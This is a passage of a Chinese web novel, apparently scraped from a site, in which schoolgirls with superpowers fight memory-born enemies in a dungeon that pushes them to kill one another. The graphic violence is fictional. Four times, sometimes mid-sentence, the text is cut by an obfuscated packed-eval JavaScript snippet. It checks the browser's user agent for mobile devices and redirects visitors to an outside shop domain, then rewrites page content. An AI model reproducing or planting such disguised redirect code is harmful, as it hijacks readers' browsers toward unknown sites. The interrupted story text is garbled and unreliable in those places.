事实上,应凌心也没看过几次季祝火施展异能,更别说见都没见过的商予盈,以及连其它异能都没怎么接触过的「应凌心」了。 “但究竟是什么机制,哪些步骤是必要的,我也不清楚。” “最重要的应该是不要让火星落在你身上,其余想要弄清楚,都需要花大功夫去试探。” 商予盈观察着[季祝火],对方没有动,只是静静地伫立着,像是在等待着她们结束交谈。 “不要轻举妄动,”她看了眼「应凌心」,“也别害怕。” 她自己也知道这句话在眼下有多苍白。 让高中生去承担这样的压力,实在是不人道得有些过头了。 . 这杀千刀的鬼空间就没有什么未成年人保护法吗?! 应凌心看着努力在克制自己手抖的「商予盈」,忍不住在内心又一次咒骂起来。 “周授虚的异能叫套索,还带有一点空间属性。” “你可以把她想象成是一个在甩着套马绳的牛仔,只不过她不用真的挥手去甩,你也看不到她的绳子。” “绳子会根据目标的大小自动收缩,所以她没办法拿绳子把你勒窒息,但她可以把你套中后拉过去,近距离发起攻击。” “她近战很强,但不能碰到你,你在跟人接触时可以直接用异能把她身体的空间移位,她还记得的话就会努力不去碰你。” “所以很可能是保持距离,套中后把你往她刀上甩。” “你的异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188542|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能可以抗衡,但你必须一直集中注意力,预判她的意图,跟她比反应速度。” 应凌心趁着[周授虚]还没有任何动作,快速地介绍着周授虚的异能,希望「商予盈」等下能够多一点判断力。 她可不觉得副本捏一个[周授虚]出来是为了让她们怀念往昔的,现在多半只是下一个情节触发之前的缓冲期。 “注意一些现实中跟绳子差不多的闭环,她有‘填充’的能力,摸到绳子后可以直接用空间切割开那个闭环。” “比如说你脖子上的吊坠,被她摸到的话,填充的空间会直接割断你的脖子。” 「商予盈」吓了一跳,才意识到自己脖子上不知何时挂着一个坠子。她正要把吊坠摘下了,就听到应凌心接着说: “但你这个吊坠是系统给你的,她碰不到,如果她不记得这事的话,可以当作诱饵。” 但非常非常冒险就是了——谁知道副本生成的[周授虚]是不是真的摸不到? “最重要的是保全性命,尽量多遛一遛她,如果被她拉去打近战,就试图去碰到她。” 多遛一遛,说是这么说,哪有这么简单?一次预判失误,可能就要被拉着撞到刀口上了。 应凌心在心里叹了口气,她又该咋办?她可没有空间异能可以抵消套索的效果啊。 “别怕,总会有解决办法的。” 毕竟真要是没办法,那也没办法了。 “你把它当成一场游戏,别紧张,别有负担。” 应凌心想了想,从口袋里摸出来了一把手枪。 真见鬼,她要举着一把小手枪跟一个差点把商予盈干掉的玩家打。 这跟要求杨过双手接陨石有什么区别? [周授虚]缓缓抬起了手。 手中的手枪受到无形的牵引力,被猛地向上一拉。 有所准备的应凌心死死抓着枪把手,顺着套索的力道跳上了课桌,伸手向另一个口袋掏去。 没有被安上弹匣的手枪随着应凌心的松手向[周授虚]飞去,她迅速地给另一把手枪上了膛,没带任何犹豫地开了枪。 是的,都来下副本了,谁规定只能带一把手枪? 主动攻击NPC不是明智的做法,但对方已经开始用异能了,她也应该趁着这一机会先下手为强。 半空中的手枪被扔在地上,[周授虚]反应极快地用套索去引偏子弹。 高速飞去的子弹被精准地套中,又迅速地被拉着向一旁偏离了方向。 应凌心连开了三枪,还没来得及再开一枪,就被一股巨力牵扯着向后贯去。 [周授虚]移开了第一发子弹,没有管后两发,直接选择套中应凌心,把她猛地向外扔。 应凌心像一颗网球一样被打向教室的后方,砰的一声撞在了后墙的铁柜子上。 两发子弹先后打中了[周授虚]的右肩和右臂,深粉色的眼睛看不出任何波动,缓缓转动着注视着她。 [周授虚]又一次抬起了手。 一张桌子被控制着砸向了她,接着,又一张,又一张。 下落的速度却没有它最初看起来的那么快。 应凌心靠坐在铁柜子旁,一时间动弹不得,费劲地喘着气。 迎面砸来的课桌被牵制着放缓了速度。 「商予盈」在惊恐中发动了异能,保护了她。 应凌心扯了扯嘴,想要跟「商予盈」讲话,但不确定远处的她能不能听到。 “确实只有一个套索。” 反应速度也比商予盈描述的玩家要慢一些。 你看,这不就试出来了吗? 36.并行回滚(六) 应凌心靠在教室后排的铁柜子上,剧烈地咳嗽着,疼得一时半会直不起身子。 她怀疑自己的内脏在撞击下被撞出了问题,感觉再咳下去,就要跟电视里的角色一样咳出血了。 「商予盈」看起来被吓了一跳,想要过来查看她的伤势,被她连忙摆着手拦下。 别过来,专心打怪啊! 或者,哪怕打不过,专心闪避啊! 至于她...[周授虚]在把她扔到一边之后就再没有看她了,显然比起她,有异能的「商予盈」更需要被在意。 耳内响起阵阵嗡鸣声,耳压高得整个耳廓都在阵痛。 她这具高中的身体是不是太脆皮了? 应凌心缓了好半天,眼前终于不再一边阵阵发黑着一边天旋地转了。 在这期间,[周授虚]只是在一旁站着,躲闪着「商予盈」试探性的几次进攻,也不主动做任何事。 什么意思?这异能也有蓝条? 不应该吧?没听商予盈提过这事儿啊。 应凌心小幅度动着胳膊,伸手去扶身边散落的课桌。 她以极其缓慢的速度站起身,一方面因为她被摔得是真的疼,另一方面,她也在思考[周授虚]在等什么。 如果是在等她重新站起来,[周授虚]一有异动,她就立刻躲回书桌后。 毕竟她现在也帮不上任何忙...嗯,至少不能添乱。 实际上,直到她站稳,[周授虚]都没有再做出任何举动。 女人深粉色的眼睛时不时地眨着,血液从右侧肩膀汩汩地向外流着,她歪了歪头,一言不发地在原地干站着。 看着好像没有敌意,甚至没有什么主观能动性。 应凌心瞄了一眼[周授虚]肩膀处的两个弹孔,盘算着下一步该怎么办。 左腿忽然传来一阵奇怪的瘙痒。 应凌心拿右脚蹭了蹭左腿骨,试探性地向前迈了一步。 瘙痒感越来越明显,随之而来的是针扎一样的刺痛感。 紧接着,左腿迅速地开始发烫,疼痛在一瞬间迸发,从腿肚一下子炸开。 还没等应凌心反应过来,整个人就因为骤然失去平衡而被掼倒,半侧身子直接砸向地面上的桌子。 什么情况?这是怎么搞出来的异能效果? 应凌心忍着痛想要爬起来,却顿住了。 全身席卷着撞击残留的疼痛,除了她的左腿。 她感觉不到她的左腿了。 应凌心有点不确定,伸手捏了捏自己的腿,像是在捏一块案板上的肉。 为什么? 应凌心大脑高速运转着,一边强压着自己过速的心跳,一边又一次打手势阻止「商予盈」近前。 [周授虚]转了转深粉色的瞳仁。 下一秒,她转向「商予盈」,缓缓抬起了手。 . ------------------------------------------------------ 商予盈没想到[季祝火]首先针对的会是她。 毕竟她现在根本没有异能,旁边还有个会放电的「应凌心」站着呢。 当她看着[季祝火]全然无视着「应凌心」,一步一步朝她走来时,她还在想着自己是不是还有什么隐藏的潜力让对方忌惮。 直到一阵浓烈而强劲的精神力将她牢牢地包裹住,她意识到是自己想岔了——只是因为她没什么反抗的能力罢了。 她能够感知到这股不怀好意的精神力,但她没有办法对抗它,甚至没办法挣脱它——人怎么跑得过精神力呢? 于是[季祝火]的精神力就这样缠上了她,一圈又一圈,一层又一层,直到她渐渐慢下了挣扎的动作。 不是她想放弃,是她没办法动了。 季祝火异能的第一步,以一种未知的方式固定住目标。 商予盈试图发出声音,却发现自己连嘴都张不开。 太夸张了。 如果这个异能再成长一段时间,等精神力充足了,是不是连人的心脏跟肺都可以定住? 商予盈眨了眨眼,至少现在眼皮控制不住。 但这也不是靠眨眼传递消息的时候啊,有那功夫[季祝火]估计都能把她俩骨灰扬了。 事实上,[季祝火]确实很高效。 还没等「应凌心」反应过来做出什么反应,商予盈就已经动弹不得了。 太亏了,根本没有试探出定身效果的限制条件。 商予盈眼睁睁地看着[季祝火]丢下她,朝着有些不知所措的「应凌心」走去。 紧接着,一粒小小的火星,若隐若现地闪着微红色的光,旋转着升到空中。 咦? 「应凌心」闪身躲过了火星。 为什么不先定住「应凌心」? 或者更实际一些,为什么不先把火星丢向没办法动弹的她? 定身效果跟火星都是有限的吗? 只见[季祝火]歪了歪头,紧接着,又冒出了几颗火星,像是变异了的萤火虫,在教室内四散飞舞着。 商予盈看着在狼狈躲闪的「应凌心」,心里有点着急。 用异能啊! 可惜她发不出声音,只能在一旁干看着,脑中不断思索着可能的破局方法。 “啪!” 一声清脆的响指声,让商予盈寒毛倒竖。 下一秒,一颗火星被爆破,随着迅速膨胀的光亮,一股热浪向四周蔓延开去。 商予盈有些担心:「应凌心」怎么样了? . 「应凌心」现在感觉很不好。 [季祝火]的火星子飘在空中格外轻盈,从四面八方围堵过来,恰到好处地等着她狼狈地躲闪。 几粒红点不断在她视线内闪动着,不紧不慢地驱赶着她。 为什么? 「应凌心」一边躲闪着,一边试图搞清楚[季祝火]不先把她固定住的目的。 [季祝火]没有任何表情,红色的微光在黑沉的瞳仁上流转着,留下冰冷的尾巴。 她缓缓举起了右手。 [季祝火]异能的第三步,用响指引爆火星。 「应凌心」暗道一声不好,一个闪身向后退,想要加快躲避的速度。 先前慢慢悠悠的火星在一瞬间聚拢,飞快地向她靠近。 「应凌心」用电流控制着一把椅子向前扔了过去,火星顿了顿,有的改变方向绕了过去,有的竟直接穿过了椅子。 ...异能就不用讲科学的吗?! 还没等她在心里多骂两句,「应凌心」注意到[季祝火]手部的动作,慌忙地快速下蹲,抬手去护自己的头。 “啪!” 响指声清晰地传入她的耳朵,下一瞬,爆裂声在耳边炸响。 铺天盖地的嗡鸣声钻动着她的耳膜,整个耳道都在因为高压而胀痛。 眼前有点发晕,「应凌心」下意识抬手去摸自己发疼的耳朵,摸到了一手的血。 她眨了眨眼,感觉在如此真实的疼痛下,她现在的处境有些过分不真实了。 躲是真的躲不了了。 「应凌心」把沾了血的手往校服裤子上摸了两下,一边等着耳鸣声减弱,一边观 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204572|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 察着[季祝火]的动静。 攻击了这一下,也不乘胜追击,就那样一动不动地站在原地,给她反应时间。 「应凌心」小心翼翼地把电流向外铺开,悄无声息地在教室里蔓延着。 要主动出击吗? 「应凌心」琢磨着:在打不过的前提下? 人是应该坐以待毙被钝刀子按节奏磨死,还是垂死挣扎着加快死亡速度? 很有哲学含义的一个问题。 耳鸣声逐渐减弱,但依旧残留着一点恼人的嗡鸣,在脑海中乱窜着。 火星但凡再靠近一点,她的脑袋只怕都要被直接炸掉了。 她的优势是什么?「应凌心」硬逼着自己去思考对策。 突破点到底在哪里? 她试探性地铺开电流,[季祝火]像是根本没有察觉,或是对她的精神力不屑一顾,不为所动地站在原地。 「应凌心」忽然愣了一下,她想起来了一句不知道在哪里看到过的话—— “我在等蓝条恢复,你在等什么?” 莫名其妙地被卷入副本,突击掌握了异能,面对冷漠的NPC时不时的进攻,让她本能地想要一切变化来得慢一点。 下一次交锋来得慢一点,需要靠本能反应的危险出现得慢一点,也许这样她的恐惧也能堆叠得慢一点。 她一直在傻傻等着[季祝火]的下一次进攻,因为她没有任何把握,只能消极地被进程推着走。 但事实上——「应凌心」抬起自己的右手,盘踞在教室内的电流被压向地面,在一瞬间被增压—— 她的异能可没有像[季祝火]异能那么长的前摇啊! 铺天盖地的雷网压向地面,逼迫着[季祝火]挪了挪脚。 「应凌心」死死地盯着[季祝火]的动向,对应着对方的落脚点去变换雷网的强度。 别光控制火星了,你也该动动了。 [季祝火]低头看着地面,沉默地躲避着电击,抬起被攥紧的右手。 不能让[季祝火]顺利发动异能。 「应凌心」毫不犹豫地劈过去一道雷,想要打断[季祝火]的施法。 这道势不可挡的雷电却被硬生生停在了[季祝火]面前,她抬起头,黑红色的眼睛直直地看着「应凌心」。 源自她异能的雷被定住了。 「应凌心」愣了愣,原来定身的目标不一定是人吗? 更重要的是,原来不是只能定一个目标的吗? 还没等她来得及细想,只见[季祝火]张开了抬起的右手。 不知什么时候生成的一把火星,从她的掌心中快速落下,向地面贴去。 不好! 「应凌心」连忙撤回铺在地面上的雷网。 但已经来不及了。 “啪!” 又一声响指声,四散在雷网附近的火星被同时引爆,爆破一波连着一波,在连锁反应下瞬间逼向「应凌心」。 「应凌心」被滚烫的气浪掀翻,直直地向后撞去。 [季祝火]面无表情地站在原地看着她。 几粒剩余的火星被控制着步步紧逼,「应凌心」一边被爆炸掼着向后摔,一边放出几道雷,试图阻挡火星的围攻。 她被摔向成排的课桌,剧烈的撞击让她的异能停滞了一瞬。 “啪!” 清晰的响指声又一次传来,紧接着是一阵剧烈的疼痛,从她左腿处炸开,快速地侵蚀着她的感知。 「应凌心」痛苦地趴在地面上,全身因为剧烈的疼痛不受控制地抽搐着。 一粒落在她左腿上的火星被引爆了。 37.并行回滚(七) 商予盈眼睁睁看着[季祝火]异能的火星在「应凌心」耳边炸响,又眼睁睁看着「应凌心」的左腿被引爆。 而她在一旁,动也动不了。 甚至在[季祝火]用异能去定住「应凌心」劈过去的雷时,她也没办法作出任何动作。 ...这个副本真是没有她能操作的余地了。 所以她现在也只能眼睁睁地看着「应凌心」蜷缩着身子哀嚎。 不先杀掉她是想把她们两个都杀掉吗? 商予盈对[季祝火]的策略感到有些不解。 可能从一方死亡到另一方脱离副本有一定的时间差,显然有异能的「应凌心」更有反抗的余地,说不定可以硬撑过这点时间。 但现在的「应凌心」看着也没什么抵抗的能力了。 「应凌心」尝试着坐起身来,但没能成功。 短暂的一阵白光后,她艰难地想要让自己的视线重新对上焦。 「应凌心」感觉自己的思维变得有点迟钝,甚至连剧烈的疼痛,感觉都开始变得模糊。 像是被丢进了冬天被凿开冰面的湖里,冷得她的骨头不受控制地在颤抖,抖出一阵又一阵的恶心和眩晕。 「应凌心」费劲地喘着气,一股焦味被吸入干燥的鼻腔,刺激得整个呼吸道都在作痛。 她扭头看着自己扭曲得畸形的左腿,一时间没反应过来。 裤腿被烧破,露出小腿,灰的、白的、红的、紫的,好几种颜色混在一起,在空气中互相侵蚀着,就是没有腿本来的颜色。 沿着暗色的裂痕,腿上覆盖着被烧焦的皮肤和肉,看着碰一下就会碎掉。 她反而感觉不到自己的小腿了,甚至感觉不到事情的紧急性,好像她只是在影院看着血腥片,眼前的是别人的某条断腿。 “嗒,嗒。” [季祝火]不紧不慢地朝她走过来。 电流在「应凌心」的控制下不知所措地乱转。 她失神地看着朝她走来的身影。 还要接着打吗?她想。 . ------------------------------------------------------ 应凌心怎么也想不通,她也没感受到任何精神力的波动,怎么她的左腿就这么废掉了? [周授虚]对「商予盈」试探性地施展了几次异能,明显能看出来没有太大的攻击欲望。 是受到了副本的机制限制吗? 如果一直是这样,好像问题不算很大——除了她的腿以外。 应凌心试图支撑起自己的身子,一点点向一旁爬去。 她被抛着砸向教室后方的铁柜子时手没能拿稳枪,顺着滑到了不远处。 短短几步路的距离,现在废了一条腿,爬起来显得格外漫长。 还没等应凌心摸到枪,它就被一股无形的力套中,直接甩到了教室前方的垃圾桶里。 ...... 她费劲地转过头,对上了[周授虚]深粉色的眼睛。 紧接着,右肩传来剧烈的疼痛,骨头像是被巨力碾压着一点点碎裂,刺痛在一瞬间扩散开来。 ? 先前被勉强撑起的上半身直接砸在了地上,应凌心的眼睛贴着镜片一起向地面掼去,镜片上的脏痕让整个视野都变得模糊。 她费劲地眯了眯眼,镜框下的肌肉牵动着脸颊,隐隐作痛。 真是让人难以理解。 应凌心趴在地上,滑腻的瓷砖贴着她的身体,散发着若有若无的冷意。 这一次她的右臂被废掉,也没有任何的精神力波动。 这到底是怎么做到的? 相比之下更重要的是,为什么啊? 有这能力不是应该优先针对有异能的玩家吗? 应凌心整个左臂贴在地面上,胳膊肘的骨头磨过地板,被压得发白的指尖拖着整个躯体缓慢地调整着方向。 她抬头去看教室前方的局势。 教室里的桌椅在双方几次异能的运用下被堆在了角落,两个人在空旷的场地中对视着。 [周授虚]用套索套来教室墙壁上的流动红旗,拽着线头用力一扯,被拉出来的红线越来越长。 [周授虚]的另一个能力,空间切割现实中绳子构成的闭环。 应凌心一边出声提醒「商予盈」小心,一边思考自己目前的处境。 这下真是没多少行动能力了。 她趴在地上仰着头,感觉脖子和肩背都有点发酸。 应凌心忽然意识到自己思维的一个误区。 这次副本里的敌人太明确,导致她忽略了一个很大的问题—— 危险不只源于NPC,副本机制同样会不怀好意。 她一直在想[周授虚]哪里来的能力可以这么不由分说地把人四肢废掉,现在想想,更可能是其它机制搞的鬼啊! 至于原因...应凌心看着[周授虚]逐渐加快的攻击速度,又看向在施展异能防守的「商予盈」。 事已至此,也没什么她能做的了。 这大概就是副本的目的吧。 这个副本,或者说这个节点,副本在乎的玩家或许不是她。 是「商予盈」,记忆停留在过去的「商予盈」。 副本真正的玩家,不是她们—— 是过去的她们。 . ------------------------------------------------------ 人生真是太不公平了。 「应凌心」趴在地上,看着[季祝火]一步一步朝她走过来,略有些迟钝地想着。 她觉得自己平凡的生活已经挺累的了,不是作业就是考试,就被一根“等上了大学就好了”的胡萝卜这么钓着。 结果胡萝卜直接被拿走就算了,怎么还有这么多大棒打向她啊? 全身的疼痛流向深不见底的左腿,被搅动着不断惊扰她的神经。 「应凌心」费劲地呼吸着,一动不动,眼睁睁看着[季祝火]走到她面前,一脚踩到了她的右肩膀上。 早知道她的未来是这个惨样,昨晚她就不熬夜写作业到凌晨了。 先前爆炸的浓烟还没散去,「应凌心」被呛得连连咳嗽,想要蜷起身子,肩膀却被[季祝火]死死踩着。 右肩传来的力道越来越大,她发不出声音,像离开水的鱼反复扑腾着。 「应凌心」忽然觉得很没劲。 就算她真的挣扎着活着出去,等着她的是一个接一个的危险副本。 一次又一次的生命危险。 好累啊。 她替未来的自己感到累。 [季祝火]碾了碾自己的脚,像是在寻找合适的角度。 “咔哒、咔哒。” 很细微的响声,如果不是源自她的骨头,可能根本不会注意到。 剧烈的疼痛从肩膀一路蔓延到指尖,灼烧感随着血液流窜着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210312|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 生理眼泪哗啦啦地往下流,「应凌心」慢慢眨了下眼,眼泪流得更猛了。 她不想再打了。 她想。 谁来结束这场闹剧吧。 疼,太疼了。 「应凌心」趴在地板上,一侧的脸贴在冰冷的瓷砖上,看到不远处被异能定住的商予盈的倒影。 [季祝火]蹲下身,黑红色的眼睛看不出情绪,只是看着她。 「应凌心」张了张嘴,先前吸入的烟雾把她下意识发出的叫喊挤压成嘶哑的怪音。 眼角干涸的泪痕让她忍不住去眨眼,眼眶有些发烫,她的全身却在冷得发抖。 应该是失血过多了,她反而感觉有点冷静地想。 “咳...咳咳。” 连咳嗽起来都有些费劲,过了好半天,她才找回自己的声音。 「应凌心」不确定另外两人能不能听到她讲话的声音,甚至连她自己在耳鸣下都听不清自己说了什么。 “我不管了。” 她说, “爱谁死谁死吧,我不管了。” 就这样吧,反正她也尽力了。 打不过就是打不过,她能有什么办法? 她累了。 . 商予盈不知道为什么她能听清「应凌心」讲的话。 明明她站在好几步开外的地方,却能清晰地听到「应凌心」虚弱的呢喃。 但她也没有办法,她不止一次想要尝试突破精神力的包裹,却没有任何进展。 只能眼睁睁地看着。 异能是这么轻易就能被夺走的东西吗? 商予盈想,那这可就算不上真正的能力了啊。 [季祝火]站起身来,扭头看向她。 紧接着,束缚着她的精神力被撤回,商予盈恢复了行动能力。 来不及思考[季祝火]这么做的用意,没有半分犹豫,她立刻去掏枪。 刚摸到枪,脚踝忽然传来一阵凉意。 下一秒,失去平衡的商予盈栽倒在地上。 左脚没有知觉了。 商予盈皱了皱眉,撑着课桌重新站起身。 [季祝火]只是在一旁等着,看起来并不把她当作威胁。 这一摔,反而给了她思考的机会:为什么停下来了? 商予盈看着已经失去反抗能力的「应凌心」,和在一旁干站着的[季祝火]。 为什么不接着进攻了?为什么反而把她放出来了? 商予盈低下头,给枪上了膛。 [季祝火]这样的异能者,哪怕她有异能,都不一定能够打赢,更不用说现在,她只是一个普通人了。 即使手里有枪,也没有办法跟这样的异能抗衡。 “只有一次机会。” 她平静地说出声。 商予盈明白了[季祝火]这一系列举动的用意,或者说,副本机制的用意。 眼前是打不过的敌人,和失去反抗能力的朋友。 而她是握着一把枪的普通人。 【在任意节点、任意玩家杀死另一位玩家即可脱离副本。】 [季祝火]在等着她们为了活命自相残杀。 副本的傀儡在等着她作出决定。 “应凌心。” 商予盈等着「应凌心」艰难地把头转过来,白色的高中校服已经被血液染得面目全非。 她低着头,面无表情地注视着女孩深紫色的眼睛。 商予盈慢慢举起了枪。 38.并行回滚(八) 「商予盈」感觉现在的局势不太乐观。 不知道对面耍了什么花招,直接把应凌心的腿跟胳膊废掉了。 而她被[周授虚]时不时的进攻牵制着,根本没能帮上忙。 又一次施展异能拉长空间线之间的间隔,摆脱套索控制后,她瞄了一眼努力用左胳膊肘撑起身体的应凌心。 好像不能一直被动防守了。 「商予盈」皱了皱眉,感到有些急躁。 搞不清楚应凌心胳膊被废的原因,万一是跟时间有关,拖得久了,情况只会越来越糟。 实际上,防守本身的难度看起来也在增加。 「商予盈」看到[周授虚]扯开流动红旗的线头,应凌心虚弱的提醒声在不远处响起。 听着就很吓人的切割空间的能力。 她应该打断[周授虚]。 「商予盈」想,她应该主动进攻。 教室里的东西都被之前几轮试探性的进攻清到了一边,眼下她和[周授虚]之间没有任何阻挡。 她能通过改变空间移过来的东西,[周授虚]也可以直接套过来,占不到任何优势。 她需要拉近跟[周授虚]之间的距离。 拉近距离,碰到她,直接对她使用异能,是「商予盈」现在能想到的唯一一个进攻的办法了。 「商予盈」微微弓着身,拨动着只有她能看到的空间线,把不远处的[周授虚]移向她面前。 但哪怕她是主动进攻的一方,也并不一定能占据什么优势。 她跟[周授虚]异能的类型太相似了,而[周授虚]的反应速度比她要快。 空间线在一瞬间被改变,还没等有所准备的「商予盈」伸出手,[周授虚]便发动套索,把她甩了出去。 只来得及靠改变身后的空间线缓冲自己摔落的速度。 「商予盈」皱了皱眉,形势没有得到任何的改善。 甚至更糟——[周授虚]把玩着手中细长的红绳,在远处不仔细看的话都无法注意到。 再拖下去整个教室都会是细绳编成的陷阱了。 可关键她也没办法速战速决啊! 「商予盈」紧绷着上半身,单膝跪地,伸手摸向了地板。 对空间线的作用像波一样传开,瓷砖间的缝隙被她操控着放大,她想要把[周授虚]脚下的地板崩裂。 显然,套索是没办法快速把环境的碎裂拼凑回来的。 趁着[周授虚]闪身避开裂痕的功夫,「商予盈」又一次缩短了两人间的距离。 [周授虚]深粉色的眼睛在视野中被放大,她毫不犹豫地伸出了手。 手堪堪擦过发丝,被套索套中往旁边一拉。 [周授虚]一个侧身,右腿踢向她的腹部,借着惯性直接把她踢飞到了身后的墙上。 “咳咳咳...” 「商予盈」蜷着身子,剧烈地咳嗽着。五脏六腑翻滚着在绞痛,感觉下一秒就要吐出来。 她缓了缓神,微微发亮的金色眼睛死死地盯着[周授虚]。 好像不是完全没有希望。 她虚握了握自己的手,刚才差一点就摸到了。 实际上,在[周授虚]踢向她的那一瞬间,她们的身体是接触着的。 不是只有手碰到才能发动异能。 只是她刚才没有做好心理准备,一切来得太快了,没能反应过来。 下一次可就不一样了。 「商予盈」站起了身。 她应该拿自己的手当障眼法,诱惑[周授虚]再一次攻击自己,然后在那一瞬间发动异能。 「商予盈」又一次伸手摸向了地面。 . 应凌心看着两人的对战,感觉有点担心。 她张了张嘴,从刚才开始嗓子变得越来越干,眼下像是被烧坏了,哑得根本说不出话。 干着急了这么半天,她对副本这一轮的机制隐约有了点猜测。 她动了动左手指,试图靠所剩为数不多的对身体的掌控能力缓解心中的不安。 上一轮的节点明显是让她们熟悉一下机制,这一轮才是真的凶险。 如果只有「商予盈」失去记忆被迫对抗强敌的话,这副本平衡做得未免也太差了。 应凌心没忘记副本的标题。 并行回滚...什么叫并行? 看来失去记忆的自己战斗力不太行啊,应凌心想,这么快就失去行动能力了。 她看着又一次发动异能的「商予盈」,想要做点什么,却感觉头变得越来越沉。 应凌心下意识伸手去掐自己的胳膊,没有任何感觉,才想起来自己的右胳膊已经废了。 她只能抬手去掐自己的后脖颈。 什么都做不了就算了,至少别睡啊! 应凌心皱了皱眉。 [周授虚]开始推进进程了。 . 「商予盈」又一次发起了进攻,靠近[周授虚],等着被攻击时短暂的接触。 [周授虚]却只是看着她,任由她的手袭向自己。 下一瞬,「商予盈」感觉自己的左脚踝一凉,随着剧烈的疼痛动作一滞,紧接着被套索又一次甩了出去。 「商予盈」跪在地上,勉强撑起上半身,眼前一阵阵发黑。 [周授虚]松开手,红绳随之掉落在了地上。 她早就预料到了「商予盈」的计划,甚至说,之前的那一脚是她故意留下的破绽。 「商予盈」一般施展异能自己是不会动的,但因为她想要主动去碰到对手,想要拿自己的手当诱饵,在施展异能后,迈出了左腿。 在空间被改变的下一瞬,红绳被套索控制着悬在「商予盈」的落脚点。 [周授虚]的异能紧接着被发动,红绳围成的闭环被空间填充,切割开了被圈在其中的左脚。 几不可见的空间间隔,却直接把脚跟躯体分割成两个不同的部分。 随着套索再一次发动,「商予盈」被甩到好几步开外,穿着运动鞋的左脚却仍留在原地,在重力作用下掉到地面上,发出一声闷响。 血液汩汩地从平整得不真实的切面流出,蔓延在地上,渗到瓷砖缝里。 「商予盈」疼得有点恍惚,下意识脱掉自己的校服外套,想要绑在腿上止血。 外套被控制不住颤抖的手搭在地上,袖子被血弄脏,「商予盈」忽然愣了一下。 绑在腿上的校服,算不算绳子的闭环? 心脏剧烈地跳动着,努力想要弥补失去的大量血液。 「商予盈」深呼吸了一下,忽略阵阵发晕的头,伸手摸向了脚踝处的伤口。 异能发动,断面处的空间线被压缩着变稠密,希望这样可以减轻血液流失的速度。 要是空间线能被弯曲就好了。 「商予盈」撑着墙面站起了身,看着等在一旁的[周授虚]。 她又在等什么? . 这就是为什么人应该学一学黎曼几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215211|195685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何。 看着「商予盈」脚踝处仍在淅淅沥沥流着血的切口,应凌心感觉自己的疼痛又加重了一分。 不过学了也没用,她之前不是没有试图跟商予盈说过。 现有的精神力还不够支撑着做出这种定义的延伸;又或者,商予盈对定义还不够理解,需要太多的精神力去实现。 「商予盈」受伤了,[周授虚]像是终于想起来还有她这么一个玩家,扭头看了过来。 女人挥了下手,有什么东西砸中了应凌心的脑袋。 是枪。 之前被套索扔到了教室的垃圾桶里,现在又被捡回来扔给了她。 估计是想起来她只有一只手能用,枪又被套索捡了起来,贴心地上了膛,轻轻地摆到她眼前。 啊。 应凌心握住了枪,看着对面的两个人。 她想要说话,却依旧只能发出干哑的嘶吼。 应凌心看到「商予盈」看过来,挥了挥自己手里的枪。 她不知道「商予盈」能不能想明白[周授虚]的这一举动意味着什么。 她们两个已经失去行动能力了,打败[周授虚]的可能性微乎其微。 结果[周授虚]递给了她一把枪,然后在一旁干等着。 [周授虚]明明可以直接把她们两个都杀死,却在一旁等着她们自相残杀。 应凌心的思路逐渐清晰起来。 眼下的凶险是建立在她们自己记忆上的—— 她们记忆的缺失,和她们记忆中的强大的人。 换作更厉害的玩家来,只怕会有记忆里更厉害的人来作为她们的敌人。 D级副本,虽然对她们来说非常凶险,但后面还有C级、B级。 由记忆诞生的敌人,一点限制也没有的话,D级未免太低了吧? 她们自己被副本剥夺记忆,甚至都不在全盛状态啊! 限制是什么呢? 应凌心握着枪,朝「商予盈」指了指,又朝自己比划了两下。 [周授虚]需要诱导她们中的一个杀死另一个。 这也是为什么她在把「商予盈」重创后,把枪递给了应凌心。 一个大胆的猜想。 应凌心眨了眨眼,看着若有所思的「商予盈」。 她杀不死我们。 . ------------------------------------------------------ 商予盈不确定自己应不应该把自己的推断说出声。 因为她不确定[季祝火]有没有保留语言能力,能不能听懂她们之间的对话。 副本机制想让她们自相残杀,[季祝火]在旁边等着她们的决定。 「应凌心」看着像是失去了斗志,而她看着下一秒就要杀掉自己的朋友。 这样的信息差,只有一次。 